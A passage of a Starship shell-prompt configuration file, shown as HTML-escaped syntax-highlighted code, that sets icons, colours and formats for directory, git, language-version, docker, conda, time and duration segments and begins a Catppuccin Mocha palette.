&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;68&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;truncation_symbol&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;…/&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;69&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;70&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;directory&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;substitutions&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;71&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;Documents&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;󰈙 &quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;72&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;Downloads&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot; &quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;73&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;Music&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;󰝚 &quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;74&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;Pictures&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot; &quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;75&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;Developer&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;󰲋 &quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;76&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;77&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;git_branch&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;78&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;symbol&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;79&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;style&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;bg:yellow&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;80&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;format&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&apos;[[ $symbol $branch ](fg:crust bg:yellow)]($style)&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;81&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;82&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;git_status&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;83&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;style&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;bg:yellow&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;84&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;format&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&apos;[[($all_status$ahead_behind )](fg:crust bg:yellow)]($style)&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;85&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;86&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;nodejs&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;87&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;symbol&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;88&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;style&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;bg:green&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;89&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;format&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&apos;[[ $symbol( $version) ](fg:crust bg:green)]($style)&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;90&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;91&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;c&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;92&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;symbol&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot; &quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;93&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;style&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;bg:green&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;94&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;format&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&apos;[[ $symbol( $version) ](fg:crust bg:green)]($style)&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;95&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;96&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;rust&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;97&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;symbol&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;98&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;style&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;bg:green&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;99&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;format&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&apos;[[ $symbol( $version) ](fg:crust bg:green)]($style)&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;100&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;101&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;golang&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;102&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;symbol&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;103&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;style&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;bg:green&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;104&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;format&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&apos;[[ $symbol( $version) ](fg:crust bg:green)]($style)&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;105&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;106&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;php&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;107&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;symbol&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;108&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;style&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;bg:green&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;109&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;format&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&apos;[[ $symbol( $version) ](fg:crust bg:green)]($style)&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;110&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;111&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;java&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;112&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;symbol&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot; &quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;113&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;style&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;bg:green&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;114&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;format&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&apos;[[ $symbol( $version) ](fg:crust bg:green)]($style)&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;115&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;116&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;kotlin&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;117&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;symbol&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;118&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;style&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;bg:green&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;119&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;format&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&apos;[[ $symbol( $version) ](fg:crust bg:green)]($style)&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;120&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;121&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;haskell&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;122&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;symbol&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;123&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;style&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;bg:green&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;124&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;format&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&apos;[[ $symbol( $version) ](fg:crust bg:green)]($style)&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;125&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;126&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;python&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;127&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;symbol&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;128&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;style&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;bg:green&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;129&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;format&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&apos;[[ $symbol( $version)(\(#$virtualenv\)) ](fg:crust bg:green)]($style)&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;130&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;131&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;docker_context&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;132&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;symbol&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;133&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;style&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;bg:sapphire&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;134&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;format&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&apos;[[ $symbol( $context) ](fg:crust bg:sapphire)]($style)&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;135&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;136&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;conda&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;137&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;symbol&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;  &quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;138&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;style&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;fg:crust bg:sapphire&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;139&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;format&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&apos;[$symbol$environment ]($style)&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;140&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ignore_base&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;141&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;142&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;time&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;143&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;disabled&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;144&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;time_format&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;%R&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;145&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;style&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;bg:lavender&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;146&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;format&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&apos;[[  $time ](fg:crust bg:lavender)]($style)&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;147&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;148&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;line_break&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;149&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;disabled&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;150&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;151&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;character&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;152&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;disabled&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;153&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;success_symbol&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&apos;[❯](bold fg:green)&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;154&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;error_symbol&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&apos;[❯](bold fg:red)&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;155&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;vimcmd_symbol&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&apos;[❮](bold fg:green)&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;156&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;vimcmd_replace_one_symbol&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&apos;[❮](bold fg:lavender)&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;157&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;vimcmd_replace_symbol&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&apos;[❮](bold fg:lavender)&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;158&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;vimcmd_visual_symbol&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&apos;[❮](bold fg:yellow)&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;159&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;160&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;cmd_duration&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;161&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;show_milliseconds&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;162&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;format&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot; in $duration &quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;163&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;style&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;bg:lavender&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;164&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;disabled&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;165&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;show_notifications&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;166&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;min_time_to_notify&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;45000&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;167&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;168&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;palettes&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;catppuccin_mocha&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;169&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rosewater&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#f5e0dc&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;170&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;flamingo&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#f2cdcd&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;171&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pink&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#f5c2e7&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;172&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mauve&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#cba6f7&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;173&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;red&lt;/span&gt;&lt;span&gt; = 